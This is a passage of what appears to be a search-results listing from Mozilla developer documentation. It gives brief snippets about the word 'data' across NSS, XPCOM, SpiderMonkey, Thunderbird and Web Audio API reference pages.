rects: function sanitizeredirects(asource) _savewidgetsfullpath: function(amanifest, adestapp) appkind: function(aapp, amanifest) updatepermissionsforapp: function(aid, aispreinstalled) updateofflinecacheforapp: function(aid) installpreinstalledapp: function installpreinstalledapp(aid) removeifhttpsduplicate: function(aid) installsystemapps: function() loadandupdateapps: function() updatedatastore: function(aid, aorigin, amanifesturl, amanifest) _registersystemmessagesforentrypoint: function(amanifest, aapp, aentrypoint) _registerinterappconnectionsforentrypoint: function(amanifest, aapp,) _registersystemmessages: function(amanifest, aapp) _registerinterappconnections: function(amanifest, aapp) _createactivitiestoregister: function(amanifest, aapp, aentrypoint, arunupdate) _regi...
...steractivitiesforapps: function(aappstoregister, arunupdate) _registeractivities: function(amanifest, aapp, arunupdate) _createactivitiestounregister: function(amanifest, aapp, aentrypoint) _unregisteractivitiesforapps: function(aappstounregister) _unregisteractivities: function(amanifest, aapp) _processmanifestforids: function(aids, arunupdate) observe: function(asubject, atopic, adata) addmessagelistener: function(amsgnames, aapp, amm) removemessagelistener: function(amsgnames, amm) formatmessage: function(adata) receivemessage: function(amessage) getappinfo: function getappinfo(aappid) broadcastmessage: function broadcastmessage(amsgname, acontent) registerupdatehandler: function(ahandler) unregisterupdatehandler: function(ahandler) notifyupdatehandlers: function(aapp, amanif...
...est, azippath) _getappdir: function(aid) _writefile: function(apath, adata) dogetlist: function() doexport: function(amsg, amm) doimport: function(amsg, amm) doextractmanifest: function(amsg, amm) dolaunch: function (adata, amm) launch: function launch(amanifesturl, astartpoint, atimestamp, aonsuccess, aonfailure) close: function close(aapp) canceldownload: function canceldownload(amanifesturl, aerror) startofflinecachedownload: function(amanifest, aapp, aprofiledir, aisupdate) computemanifesthash: function(amanifest) updateapphandlers: function(aoldmanifest, anewmanifest, aapp) checkforupdate: function(adata, amm) doinstall: function doinstall(adata, amm) doinstallpackage: function doinstallpackage(adata, amm) pushcontentaction: function(windowid) popcontentaction: function(...
...And 3 more matches
Index
20 localizing xliff files for ios oasis, translate, xliff, xml, ios firefox for ios uses the xliff xml-based file format to hold and transfer localization data.
...the goal of the standard is to have an xml-based format to use when exchanging localization data between tools without the potential of data loss or corruption.
... 21 localizing extension descriptions add-ons, extensions, guide, internationalization, localization this article provides details on how to go about localizing the descriptions of mozilla add-ons, as well as for other metadata about your add-on.
...And 3 more matches
Mozilla Style System
in one half (the backend) are the sources of specified style data, and in the other half (the frontend) is the code that turns the specified values into computed values.
... the barrier between these two halves consists of three abstract interfaces, plus some smaller structures associated with some methods on each: nsistylesheet nsistylesheet represents what one would think of as a style sheet: the in-memory representation of a css file or other source of style data.
...the methods on nsistyleruleprocessor allow the front end to ask the back ends for the style data that applies to a given element or pseudo-element, in the form of style rules.
...And 3 more matches
McCoy
the cryptographic keys and other mccoy data are kept in a profile folder separate from the application so you can uninstall and reinstall without losing your precious keys.
... backing up data if you need to backup your data or move it from one machine to another you need to take a copy of the profile folder.
... this is located in: %appdata%\mozilla\mccoy (windows) ~/.mozilla/mccoy (linux) ~/library/application support/mccoy (mac os x) it is highly recommended that you back up your profile folder and store it in a safe location whenever you create a new key; without a backup, there is no way to recover your private keys if they are lost!
...And 3 more matches
PRLinger
structure used with the pr_sockopt_linger socket option to specify the time interval (in printervaltime units) to linger on closing a socket if any data remain in the socket send buffer.
...linger time (in printervaltime units) to linger before closing if any data remain in the socket send buffer.
... description by default, pr_close returns immediately, but if there are any data remaining in the socket send buffer, the system attempts to deliver the data to the peer.
...And 3 more matches
PR_AcceptRead
accepts a new connection and receives a block of data.
... buf a pointer to a buffer to hold data sent by the peer and the peer's address.
... this buffer must be large enough to receive amount bytes of data and two prnetaddr structures (thus allowing the runtime to align the addresses as needed).
...And 3 more matches
nss tech note7
data types nss uses the following data types to represent keys: seckeypublickey: a public key, defined in "keythi.h".
... these data types should be used as if they were opaque structures, that is, they should only be created by some nss functions and you always pass pointers to these data types to nss functions and never examine the members of these structures.
... m_exponent; } inpubkey; secitem derpubkey; seckeypublickey *pubkey; const sec_asn1template myrsapublickeytemplate[] = { { sec_asn1_sequence, 0, null, sizeof(myrsapublickey) }, { sec_asn1_integer, offsetof(myrsapublickey,m_modulus), }, { sec_asn1_integer, offsetof(myrsapublickey,m_exponent), }, { 0, } }; prarenapool *arena; /* * point inpubkey.m_modulus and m_exponent at the data, and * then set their types to unsigned integers.
...And 3 more matches
FC_Encrypt
name fc_encrypt - encrypt a block of data.
... syntax ck_rv fc_encrypt( ck_session_handle hsession, ck_byte_ptr pdata, ck_ulong usdatalen, ck_byte_ptr pencrypteddata, ck_ulong_ptr pusencrypteddatalen ); parameters hsession [in] session handle.
... pdata [in] pointer to the data buffer usdatalen [in] length of the data buffer in bytes.
...And 3 more matches
FC_InitToken
specifically, fc_inittoken() initializes or clears the key database, removes the password, and then marks all the user certs in the certificate database as non-user certs.
... (user certs are the certificates that have their associated private keys in the key database.) a user must be able to call fc_inittoken() without logging into the token (to assume the nss user role) because either the user's password hasn't been set yet or the user forgets the password and needs to blow away the password-encrypted private key database and start over.
... ckr_token_write_protected we don't have a reference to the key database (we failed to open the key database or we have released our reference).
...And 3 more matches
NSS_Initialize
syntax secstatus nss_initialize(const char *configdir, const char *certprefix, const char *keyprefix, const char *secmodname, pruint32 flags); parameters nss_initialize has five parameters: configdir [in] the directory where the certificate, key, and module databases live.
...certprefix [in] prefix added to the beginning of the certificate database, for example, "https-server1-".
... keyprefix [in] prefix added to the beginning of the key database, for example, "https-server1-".
...And 3 more matches
Hacking Tips
baselineic.cpp:6113 #4 0x00007ffff7f41395 in <<jitframe_exit>> () #5 0x00007ffff7f42223 in <<jitframe_baselinestub>> () #6 0x00007ffff7f4423d in <<jitframe_baselinejs>> () #7 0x00007ffff7f4222e in <<jitframe_baselinestub>> () #8 0x00007ffff7f4326a in <<jitframe_baselinejs>> () #9 0x00007ffff7f38d5f in <<jitframe_entry>> () #10 0x00000000006a86de in enterbaseline(jscontext*, js::jit::enterjitdata&) (cx=0x14f2640, data=...) at js/src/jit/baselinejit.cpp:150 note, when you enable the unwinder, the current version of gdb (7.10.1) does not flush the backtrace.
... │ auto funcptr = js_data_to_func_ptr(exportfuncptr, codebase() + func.entryoffset()); │ if (!call_generated_2(funcptr, exportargs.begin(), &tlsdata_)) │ return false; after it's set, x/64i funcptr will show you the trampoline code.
... whenever running a testcase the file "tl-data.json" and several "tl-*" files get created in the "/tmp" directory.
...And 3 more matches
JSClass
private data custom classes very often need to store private c/c++ data that should not be visible to scripts.
...implement a jsnative constructor function that allocates this private data and stores it in the new object using js_setprivate.
... implement a jsclass.finalize callback that frees the private data.
...And 3 more matches
JS_DumpNamedRoots
syntax void js_dumpnamedroots(jsruntime *rt, void (*dump)(const char *name, void *rp, void *data), void *data); name type description rt jsruntime * pointer to a jsruntime from which to dump named roots.
... data void * a pointer that is passed to dump each time it is called.
...in pseudocode: /* pseudocode explanation of what js_dumpnamedroots does */ void js_dumpnamedroots(jsruntime *rt, dumpfn dump, void *data) { for each (root in rt->namedroots) dump(root.name, root.address, data); } callback syntax dump is a pointer to a function provided by the application.
...And 3 more matches
PRIVATE_TO_JSVAL
syntax jsval private_to_jsval(void *ptr); void * jsval_to_private(jsval v); // obsoleted since jsapi 32 description with private_to_jsval(), an application can store a private data pointer, p, as a jsval.
... the private data pointer can point to application-defined memory of any type, but the pointer must be two-byte-aligned (that is, (int) p must be even).
... private data is managed entirely by the application.
...And 3 more matches
Shell global objects
the list of flags is available by calling this function with help as the flag's name wasmloop(filename, imports) performs an afl-style persistent loop reading data from the given file and passing it to thewasmeval function together with the specified imports object.
...note that this sets an object metadata callback that will override any other object metadata callback that may be set.
... enableshellallocationmetadatabuilder() use shellallocationmetadatabuilder to supply metadata for all newly created objects.
...And 3 more matches
Animated PNG graphics
MozillaTechAPNG
structure an apng stream is a normal png stream as defined in the png specification, with three additional chunk types describing the animation and providing additional frame data.
... 'fdat': the frame data chunk the 'fdat' chunk has the same purpose as an 'idat' chunk.
...the compressed datastream is then the concatenation of the contents of the data fields of all the 'fdat' chunks within a frame.
...And 3 more matches
XForms Accessibility
instance node states are mapped to accessibility state constants declared in nsiaccessiblestates interface like it shown below: relevant - state_unavailable readonly - state_readonly required - state_required invalid - state_invalid out of range - state_invalid attributes redefines datatype aria attribute.
... its value is xml schema builit-in datatype of instance node that xforms element is bound to.
... input a key xforms element to show and change the instance data to which it is bound (see the spec, the docs).
...And 3 more matches
Using the Places favicon service
for an overview of the database design, see the places database.
...this time is used by nsifaviconservice.setandloadfaviconforpage() to determine if the data is fresh or needs reloading from the server.
... if you are manually loading favicon data, you can specify the expiration time yourself.
...And 3 more matches
Accessing the Windows Registry Using XPCOM
to this end, there exist xpcom interfaces to read and write registry data.
...you have to specify what type of data you expect to read, which we will expand on later.
...however, windows registry values can have several data types, so you need to ensure that you read the correct type.
...And 3 more matches
NS ConvertASCIItoUTF16 external
itespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral find rfind findchar rfindchar appendint tointeger base classes nsstring_external data members no public members.
... methods constructors void ns_convertasciitoutf16_external(const nsacstring&) - source parameters nsacstring& astr void ns_convertasciitoutf16_external(const char*, pruint32) - source parameters char* adata pruint32 alength get prunichar* get() const - source operator= nsstring_external& operator=(const nsstring_external&) - source parameters nsstring_external& astring nsastring& operator=(const nsastring&) - source parameters nsastring& astring nsastring& operator=(const prunichar*) - source parameters prunichar* aptr nsastring& operator=(prunichar) - source ...
... parameters prunichar achar adopt void adopt(const prunichar*, pruint32) - source parameters prunichar* adata pruint32 alength beginreading pruint32 beginreading(const prunichar**, const prunichar**) const - source returns the length, beginning, and end of a string in one operation.
...And 3 more matches
NS ConvertUTF16toUTF8 external
stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar rfindchar appendint tointeger base classes nscstring_external data members no public members.
... methods constructors void ns_convertutf16toutf8_external(const nsastring&) - source parameters nsastring& astr void ns_convertutf16toutf8_external(const prunichar*, pruint32) - source parameters prunichar* adata pruint32 alength get char* get() const - source operator= nscstring_external& operator=(const nscstring_external&) - source parameters nscstring_external& astring nsacstring& operator=(const nsacstring&) - source parameters nsacstring& astring nsacstring& operator=(const char*) - source parameters char* aptr nsacstring& operator=(char) - source ...
... parameters char achar adopt void adopt(const char*, pruint32) - source parameters char* adata pruint32 alength beginreading pruint32 beginreading(const char**, const char**) const - source returns the length, beginning, and end of a string in one operation.
...And 3 more matches
NS ConvertUTF8toUTF16 external
itespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral find rfind findchar rfindchar appendint tointeger base classes nsstring_external data members no public members.
... methods constructors void ns_convertutf8toutf16_external(const nsacstring&) - source parameters nsacstring& astr void ns_convertutf8toutf16_external(const char*, pruint32) - source parameters char* adata pruint32 alength get prunichar* get() const - source operator= nsstring_external& operator=(const nsstring_external&) - source parameters nsstring_external& astring nsastring& operator=(const nsastring&) - source parameters nsastring& astring nsastring& operator=(const prunichar*) - source parameters prunichar* aptr nsastring& operator=(prunichar) - source ...
... parameters prunichar achar adopt void adopt(const prunichar*, pruint32) - source parameters prunichar* adata pruint32 alength beginreading pruint32 beginreading(const prunichar**, const prunichar**) const - source returns the length, beginning, and end of a string in one operation.
...And 3 more matches
NS LossyConvertUTF16toASCII external
stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar rfindchar appendint tointeger base classes nscstring_external data members no public members.
... methods constructors void ns_lossyconvertutf16toascii_external(const nsastring&) - source parameters nsastring& astr void ns_lossyconvertutf16toascii_external(const prunichar*, pruint32) - source parameters prunichar* adata pruint32 alength get char* get() const - source operator= nscstring_external& operator=(const nscstring_external&) - source parameters nscstring_external& astring nsacstring& operator=(const nsacstring&) - source parameters nsacstring& astring nsacstring& operator=(const char*) - source parameters char* aptr nsacstring& operator=(char) - s...
...ource parameters char achar adopt void adopt(const char*, pruint32) - source parameters char* adata pruint32 alength beginreading pruint32 beginreading(const char**, const char**) const - source returns the length, beginning, and end of a string in one operation.
...And 3 more matches
nsCString external
stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar rfindchar appendint tointeger base classes nscstringcontainer data members no public members.
... void nscstring_external() - source void nscstring_external(const nscstring_external&) - source parameters nscstring_external& astring void nscstring_external(const nsacstring&) - source parameters nsacstring& areadable void nscstring_external(const char*, pruint32) - source parameters char* adata pruint32 alength get char* get() const - source operator= nscstring_external& operator=(const nscstring_external&) - source parameters nscstring_external& astring nsacstring& operator=(const nsacstring&) - source parameters nsacstring& astring nsacstring& operator=...
...(const char*) - source parameters char* aptr nsacstring& operator=(char) - source parameters char achar adopt void adopt(const char*, pruint32) - source parameters char* adata pruint32 alength beginreading pruint32 beginreading(const char**, const char**) const - source returns the length, beginning, and end of a string in one operation.
...And 3 more matches
nsDependentCString external
stripchars stripwhitespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral find rfind findchar rfindchar appendint tointeger base classes nscstring_external data members no public members.
... methods constructors void nsdependentcstring_external() - source void nsdependentcstring_external(const char*, pruint32) - source parameters char* adata pruint32 alength rebind void rebind(const char*, pruint32) - source parameters char* adata pruint32 alength get char* get() const - source operator= nscstring_external& operator=(const nscstring_external&) - source parameters nscstring_external& astring nsacstring& operator=(const nsacstring&) - source parameters nsacstring& astring nsacstring& operator=(const char*) - source parameters char...
...* aptr nsacstring& operator=(char) - source parameters char achar adopt void adopt(const char*, pruint32) - source parameters char* adata pruint32 alength beginreading pruint32 beginreading(const char**, const char**) const - source returns the length, beginning, and end of a string in one operation.
...And 3 more matches
nsDependentString external
itespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral find rfind findchar rfindchar appendint tointeger base classes nsstring_external data members no public members.
... methods constructors void nsdependentstring_external() - source void nsdependentstring_external(const prunichar*, pruint32) - source parameters prunichar* adata pruint32 alength rebind void rebind(const prunichar*, pruint32) - source parameters prunichar* adata pruint32 alength get prunichar* get() const - source operator= nsstring_external& operator=(const nsstring_external&) - source parameters nsstring_external& astring nsastring& operator=(const nsastring&) - source parameters nsastring& astring nsastring& operator=(const prunichar*) - source para...
...meters prunichar* aptr nsastring& operator=(prunichar) - source parameters prunichar achar adopt void adopt(const prunichar*, pruint32) - source parameters prunichar* adata pruint32 alength beginreading pruint32 beginreading(const prunichar**, const prunichar**) const - source returns the length, beginning, and end of a string in one operation.
...And 3 more matches
nsString external
itespace trim defaultcomparator compare equals operator< operator<= operator== operator>= operator> operator!= equalsliteral lowercaseequalsliteral find rfind findchar rfindchar appendint tointeger base classes nsstringcontainer data members no public members.
...oid nsstring_external() - source void nsstring_external(const nsstring_external&) - source parameters nsstring_external& astring void nsstring_external(const nsastring&) - source parameters nsastring& areadable void nsstring_external(const prunichar*, pruint32) - source parameters prunichar* adata pruint32 alength get prunichar* get() const - source operator= nsstring_external& operator=(const nsstring_external&) - source parameters nsstring_external& astring nsastring& operator=(const nsastring&) - source parameters nsastring& astring nsastring& operator=(c...
...onst prunichar*) - source parameters prunichar* aptr nsastring& operator=(prunichar) - source parameters prunichar achar adopt void adopt(const prunichar*, pruint32) - source parameters prunichar* adata pruint32 alength beginreading pruint32 beginreading(const prunichar**, const prunichar**) const - source returns the length, beginning, and end of a string in one operation.
...And 3 more matches
IAccessibleText
this data is only guaranteed to be valid while the thread notifying the event continues.
... once the handler has returned, the validity of the data depends on how the server manages the life cycle of its objects.
...servers should document their life cycle strategy as this will be of interest to assistive technology or script engines accessing data out of process or from other threads.
...And 3 more matches
mozIStorageStatement
row mozistoragestatementrow the current row, with access to all data members by name.
... void initialize( in mozistorageconnection adbconnection, in autf8string asqlstatement ); parameters adbconnection a mozistorageconnection database connection.
... autf8string getcolumnname( in unsigned long acolumnindex ); parameters acolumnindex the zero-based numerical index for the column to get data from.
...And 3 more matches
mozIStorageVacuumParticipant
/storage/public/mozistoragevacuumparticipant.idlscriptable components can implement this interface to provide information to allow a database to be periodically vacuumed by the storage service.
...method overview boolean onbeginvacuum(); void onendvacuum(in boolean asucceeded); attributes attribute type description databaseconnection mozistorageconnection a connection to the database file to be vacuumed.
... expecteddatabasepagesize long the expected page size, in bytes, for the database.
...And 3 more matches
nsIAlertsService
"] .getservice(components.interfaces.nsialertsservice); method overview void showalertnotification(in astring imageurl, in astring title, in astring text, [optional] in boolean textclickable, [optional] in astring cookie, [optional] in nsiobserver alertlistener, [optional] in astring name, [optional] in astring dir, [optional] in astring lang, [optional] in astring data, [optional] in nsiprincipal principal,[optional] in boolean inprivatebrowsing); void closealert([optional] in astring name, [optional] in nsiprincipal principal); methods showalertnotification() displays a notification window.
... void showalertnotification( in astring imageurl, in astring title, in astring text, in boolean textclickable, optional in astring cookie, optional in nsiobserver alertlistener, optional in astring name, optional in astring dir, optional in astring lang, optional in astring data, optional in nsiprincipal principal, optional in boolean inprivatebrowsing, optional ); parameters imageurl a url identifying the image to display in the notification alert.
... data: the value of the cookie parameter passed into the showalertnotification method.
...And 3 more matches
nsIContentSniffer
method overview acstring getmimetypefromcontent(in nsirequest arequest, [const,array,size_is(alength)] in octet adata, in unsigned long alength); methods getmimetypefromcontent() given a chunk of data, determines a mime type.
...acstring getmimetypefromcontent( in nsirequest arequest, [const,array,size_is(alength)] in octet adata, in unsigned long alength ); parameters arequest the request where this data came from.
... adata data to check.
...And 3 more matches
nsIMIMEInputStream
netwerk/base/public/nsimimeinputstream.idlscriptable the mime stream separates headers and a datastream.
...to create an instance, use: var mimeinputstream = components.classes["@mozilla.org/network/mime-input-stream;1"] .createinstance(components.interfaces.nsimimeinputstream); method overview void addheader(in string name, in string value); void setdata(in nsiinputstream stream); attributes attribute type description addcontentlength boolean when true a "content-length" header is automatically added to the stream.
... the value of the content-length is automatically calculated using the available() method on the data stream.
...And 3 more matches
nsIMsgMessageService
pports adisplayconsumer, in nsimsgwindow amsgwindow, in nsiurllistener aurllistener, out nsiuri aurl); void search(in nsimsgsearchsession asearchsession, in nsimsgwindow amsgwindow, in nsimsgfolder amsgfolder, in string asearchuri); nsiuri streammessage(in string amessageuri, in nsisupports aconsumer, in nsimsgwindow amsgwindow, in nsiurllistener aurllistener, in boolean aconvertdata, in string aadditionalheader); nsiuri streamheaders(in string amessageuri, in nsistreamlistener aconsumer, in nsiurllistener aurllistener [optional] in boolean alocalonly); boolean ismsginmemcache(in nsiuri aurl, in nsimsgfolder afolder, out nsicacheentrydescriptor acacheentry); nsimsgdbhdr messageuritomsghdr(in string uri); methods copymessage() pass in the ur...
... nsiuri streammessage(in string amessageuri, in nsisupports aconsumer, in nsimsgwindow amsgwindow, in nsiurllistener aurllistener, in boolean aconvertdata, in string aadditionalheader); parameters amessageuri uri of message to stream aconsumer generally, a stream listener listening to the message.
... the consumer has to be a stream listener and in your listener's ondataavailable method, you can write out the stream data to a local file or concatenate it to a string.
...And 3 more matches
nsINavBookmarksService
lder); obsolete since gecko 2.0 void removefolderchildren(in long long aitemid); void removeitem(in long long aitemid); void removeobserver(in nsinavbookmarkobserver observer); void replaceitem(in print64 folder, in nsiuri item, in nsiuri newitem); obsolete since gecko 1.9 void runinbatchmode(in nsinavhistorybatchcallback acallback, in nsisupports auserdata); void setfolderreadonly(in long long afolder, in boolean areadonly); void setfoldertitle(in print64 folder, in astring title); obsolete since gecko 1.9 void setitemdateadded(in long long aitemid, in prtime adateadded); void setitemguid(in long long aitemid, in astring aguid); obsolete since gecko 14.0 void setitemindex(in long long aitemid, in lon...
...note: renamed from bookmarksroot in gecko 1.9 placesroot long long the item id of the top-level folder that contains bookmarks, tags and all other places data.
... this contains administrative data as well as user data, and is therefore not recommended for use in queries.
...And 3 more matches
nsISearchEngine
last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports method overview void addparam(in astring name, in astring value, in astring responsetype); nsisearchsubmission getsubmission(in astring data, [optional] in astring responsetype, [optional] in astring purpose); boolean supportsresponsetype(in astring responsetype); attributes attribute type description alias astring an optional shortcut alias for the engine.
... constants search engine type constants constant value description type_mozsearch 1 type_sherlock 2 type_opensearch 3 search engine data type constants constant value description data_xml 1 data type is xml data_text 2 data type is text.
... methods addparam() adds a parameter to the search engine's submission data.
...And 3 more matches
nsIZipWriter
modules/libjar/zipwriter/public/nsizipwriter.idlscriptable this interface provides an easy way for scripts to archive data in the zip file format.
... methods addentrychannel() adds data from a channel to the zip file.
... achannel the channel from which to get the data.
...And 3 more matches
XPCOM Interface Reference
completeitemnsiautocompletelistenernsiautocompleteobservernsiautocompleteresultnsiautocompletesearchnsibadcertlistener2nsibidikeyboardnsibinaryinputstreamnsibinaryoutputstreamnsiblocklistpromptnsiblocklistservicensiboxobjectnsibrowserboxobjectnsibrowserhistorynsibrowsersearchservicensicrlinfonsicrlmanagernsicachensicachedeviceinfonsicacheentrydescriptornsicacheentryinfonsicachelistenernsicachemetadatavisitornsicacheservicensicachesessionnsicachevisitornsicachingchannelnsicancelablensicategorymanagernsichannelnsichanneleventsinknsichannelpolicynsicharsetresolvernsichromeframemessagemanagernsichromeregistrynsiclassinfonsiclipboardnsiclipboardcommandsnsiclipboarddragdrophooklistnsiclipboarddragdrophooksnsiclipboardhelpernsiclipboardownernsicollectionnsicommandcontrollernsicommandlinensicommandlin...
...idomgeogeolocationnsidomgeopositionnsidomgeopositionaddressnsidomgeopositioncallbacknsidomgeopositioncoordsnsidomgeopositionerrornsidomgeopositionerrorcallbacknsidomgeopositionoptionsnsidomglobalpropertyinitializernsidomhtmlaudioelementnsidomhtmlformelementnsidomhtmlmediaelementnsidomhtmlsourceelementnsidomhtmltimerangesnsidomjswindownsidommousescrolleventnsidommoznetworkstatsnsidommoznetworkstatsdatansidommoznetworkstatsmanagernsidommoztoucheventnsidomnshtmldocumentnsidomnavigatordesktopnotificationnsidomnodensidomofflineresourcelistnsidomorientationeventnsidomparsernsidomprogresseventnsidomserializernsidomsimplegestureeventnsidomstoragensidomstorage2nsidomstorageeventobsoletensidomstorageitemnsidomstoragelistnsidomstoragemanagernsidomstoragewindownsidomuserdatahandlernsidomwindownsidomwindow...
...2nsidomwindowinternalnsidomwindowutilsnsidomxpathevaluatornsidomxpathexceptionnsidomxpathexpressionnsidomxpathresultnsidomxulcontrolelementnsidomxulelementnsidomxullabeledcontrolelementnsidomxulselectcontrolelementnsidomxulselectcontrolitemelementnsidatasignatureverifiernsidebugnsidebug2nsidevicemotionnsidevicemotiondatansidevicemotionlistenernsidialogcreatornsidialogparamblocknsidictionarynsidirindexnsidirindexlistenernsidirindexparsernsidirectoryenumeratornsidirectoryiteratornsidirectoryservicensidirectoryserviceprovidernsidirectoryserviceprovider2nsidiskcachestreaminternalnsidispatchsupportnsidocshellnsidocumentloadernsidownloadnsidownloadhistorynsidownloadmanagernsidownloadmanageruinsidownloadobservernsidownloadprogresslistenernsidownloadernsidragdrophandlernsidragservicensidragsessionnsid...
...And 3 more matches
XPCOM Interface Reference by grouping
data this section contains data wrappers and core object definitions.
... user this section contains elements specific to a given user's data storage.
...erglobalscope nsiworkermessageevent nsiworkermessageport nsiworkerscope tree nsitreeboxobject nsitreecolumn nsitreecolumns nsitreecontentview nsitreeselection nsitreeview xform nsixformsmodelelement nsixformsnsinstanceelement nsixformsnsmodelelement xmlhttprequest nsixmlhttprequesteventtarget favicon nsifavicondatacallback nsifaviconservice frame nsichromeframemessagemanager nsiframeloader nsiframeloaderowner nsiframemessagelistener nsiframemessagemanager interface nsijsxmlhttprequest jetpack nsijetpack nsijetpackservice offlinestorage nsiapplicationcache nsiapplicationcachechannel nsiapplicationcachecontainer nsiapplication...
...And 3 more matches
Working with out parameters
void gettransferdata ( in string aflavor, out nsisupports adata, out unsigned long adatalen ) ; ...
... } the gettransferdata method takes three parameters, aflavor, adata, and adatalen, and returns nothing.
... adata and adatalen are marked as out, meaning that they act as "return values" for this method, and are changed during the method call.
...And 3 more matches
Gloda examples
a) show all messages in a conversation regardless of the folder in which they are stored, b) search messages by subject assuming that you have a message (glodamessage) in the conversation already, this is straight forward using glodamessage.conversation.getmessagescollection() alistener = { /* called when new items are returned by the database query or freshly indexed */ onitemsadded: function _onitemsadded(aitems, acollection) { }, /* called when items that are already in our collection get re-indexed */ onitemsmodified: function _onitemsmodified(aitems, acollection) { }, /* called when items that are in our collection are purged from the system */ onitemsremoved: function _onitemsremoved(aitems, acolle...
...ction) { }, /* called when our database query completes */ onquerycompleted: function _onquerycompleted(conversation_coll) { try { for (var conv in conversation_coll) { //do something with the conversation here alert(conv.subject); } } catch (e) {} } } glodamessage.conversation.getmessagescollection(alistener) alternatively if you need to get a conversation based on the subject, you need to do a query (using the same listener as above).
...lservices.tags.getalltags({}); query.tags(...tagarray); let collection = query.getcollection(mylistener); search messages by daterange searches for all messages within a date range id_q=gloda.newquery(gloda.noun_message); // define a date range form yesterday to now id_q.daterange([new date() - 86400000, new date()]); var mylistener = { /* called when new items are returned by the database query or freshly indexed */ onitemsadded: function _onitemsadded(aitems, acollection) { }, /* called when items that are already in our collection get re-indexed */ onitemsmodified: function _onitemsmodified(aitems, acollection) { }, /* called when items that are in our collection are purged from the system */ onitemsremoved: function _onitemsremoved(aitems, acolle...
...And 3 more matches
Demo Addon
let data = []; for each (let account in fixiterator(mailservices.accounts.accounts, ci.nsimsgaccount)) { let info = { server: null, type: null, emails: [], name: null, }; let server = account.incomingserver; if (server) { info.server = server.prettyname; info.type = server.type; } for each (let id in fixiterator(account.identities, c...
... if (id.email) info.emails.push(id.email); } data.push(info); } first, we use fixiterator() here to get all accounts in your profile.
... to list some messages of the folder we use: for each (let msghdr in fixiterator(inbox.msgdatabase.enumeratemessages(), ci.nsimsgdbhdr)) { if (++i >= 10 && lastmsghdr != null) break; messages.push({ author: msghdr.mime2decodedauthor, subject: msghdr.mime2decodedsubject, date: new date(msghdr.date/1000), }); //...
...And 3 more matches
customDBHeaders Preference
as you follow along the step-by-step guide in creating a custom column, you may want to consider a preference setting that exposes custom header data for use in a custom column within thunderbird's main view.
...the data will come from a custom header labeled x-superfluous.
...because comparisons are case-insensitive, all of the custom headers get set to lowercase when the data gets migrated to the message database.
...And 3 more matches
js-ctypes reference
types and data to use js-ctypes effectively, it is important to understand the different kinds of objects that the module provides.
...first, they provide a concrete representation of different data types, allowing the programmer to describe the arguments and return type of a native function (see library.declare()).
...cdata objects.
...And 3 more matches
Gecko Plugin API Reference - Plugins
specifying that a plug-in is windowless invalidating the drawing area forcing a paint message making a plug-in opaque making a plug-in transparent creating pop-up menus and dialog boxes event handling for windowless plug-ins streams receiving a stream telling the plug-in when a stream is created telling the plug-in when a stream is deleted finding out how much data the plug-in can accept writing the stream to the plug-in sending the stream in random-access mode sending the stream in file mode sending a stream creating a stream pushing data into the stream deleting the stream example of sending a stream urls getting urls getting the url and displaying the page posting urls posting data to an http server uploading files to a...
... npn_newstream requests the creation of a new data stream produced by the plug-in and consumed by the browser.
... npn_posturl posts data to a url.
...And 3 more matches
Network request details - Firefox Developer Tools
transferred: the amount of data transferred for the request.
... version: the http version used transferred: the amount of data transferred with the request the referrer policy, which governs which referrer information, sent in the referer header, should be included with requests.
... params tab this tab displays the get parameters and post data of a request: response tab the complete content of the response.
...And 3 more matches
AnalyserNode.maxDecibels - Web APIs
the maxdecibels property of the analysernode interface is a double value representing the maximum power value in the scaling range for the fft analysis data, for conversion to unsigned byte/float values — basically, this specifies the maximum value for the range of results when using getfloatfrequencydata() or getbytefrequencydata().
... syntax var curvalue = analysernode.maxdecibels; analysernode.maxdecibels = newvalue; value a double, representing the maximum decibel value for scaling the fft analysis data, where 0 db is the loudest possible sound, -10 db is a 10th of that, etc.
... when getting data from getfloatfrequencydata() or getbytefrequencydata(), any frequencies with an amplitude of maxdecibels or higher will be returned as +1.0 or 255, respectively.
...And 3 more matches
AnalyserNode.minDecibels - Web APIs
the mindecibels property of the analysernode interface is a double value representing the minimum power value in the scaling range for the fft analysis data, for conversion to unsigned byte/float values — basically, this specifies the minimum value for the range of results when using getfloatfrequencydata() or getbytefrequencydata().
... syntax var curvalue = analysernode.mindecibels; analysernode.mindecibels = newvalue; value a double, representing the minimum decibel value for scaling the fft analysis data, where 0 db is the loudest possible sound, -10 db is a 10th of that, etc.
... when getting data from getfloatfrequencydata() or getbytefrequencydata(), any frequencies with an amplitude of mindecibels or lower will be returned as 0.0 or 0, respectively.
...And 3 more matches
AudioBuffer.copyToChannel() - Web APIs
syntax myarraybuffer.copytochannel(source, channelnumber, startinchannel); parameters source a float32array that the channel data will be copied from.
... channelnumber the channel number of the current audiobuffer to copy the channel data to.
... startinchannel optional an optional offset to copy the data to.
...And 3 more matches
AudioProcessingEvent - Web APIs
playbacktime read only double the time when the audio will be played, as defined by the time of audiocontext.currenttime inputbuffer read only audiobuffer the buffer containing the input audio data to be processed.
... outputbuffer read only audiobuffer the buffer where the output audio data should be written.
... example the following example shows basic usage of a scriptprocessornode to take a track loaded via audiocontext.decodeaudiodata(), process it, adding a bit of white noise to each audio sample of the input track (buffer) and play it through the audiodestinationnode.
...And 3 more matches
BaseAudioContext.createBuffer() - Web APIs
the createbuffer() method of the baseaudiocontext interface is used to create a new, empty audiobuffer object, which can then be populated by data, and played via an audiobuffersourcenode for more details about audio buffers, check out the audiobuffer reference page.
... note: createbuffer() used to be able to take compressed data and give back decoded samples, but this ability was removed from the spec, because all the decoding was done on the main thread, therefore createbuffer() was blocking other code execution.
... the asynchronous method decodeaudiodata() does the same thing — takes compressed audio, say, an mp3 file, and directly gives you back an audiobuffer that you can then set to play via in an audiobuffersourcenode.
...And 3 more matches
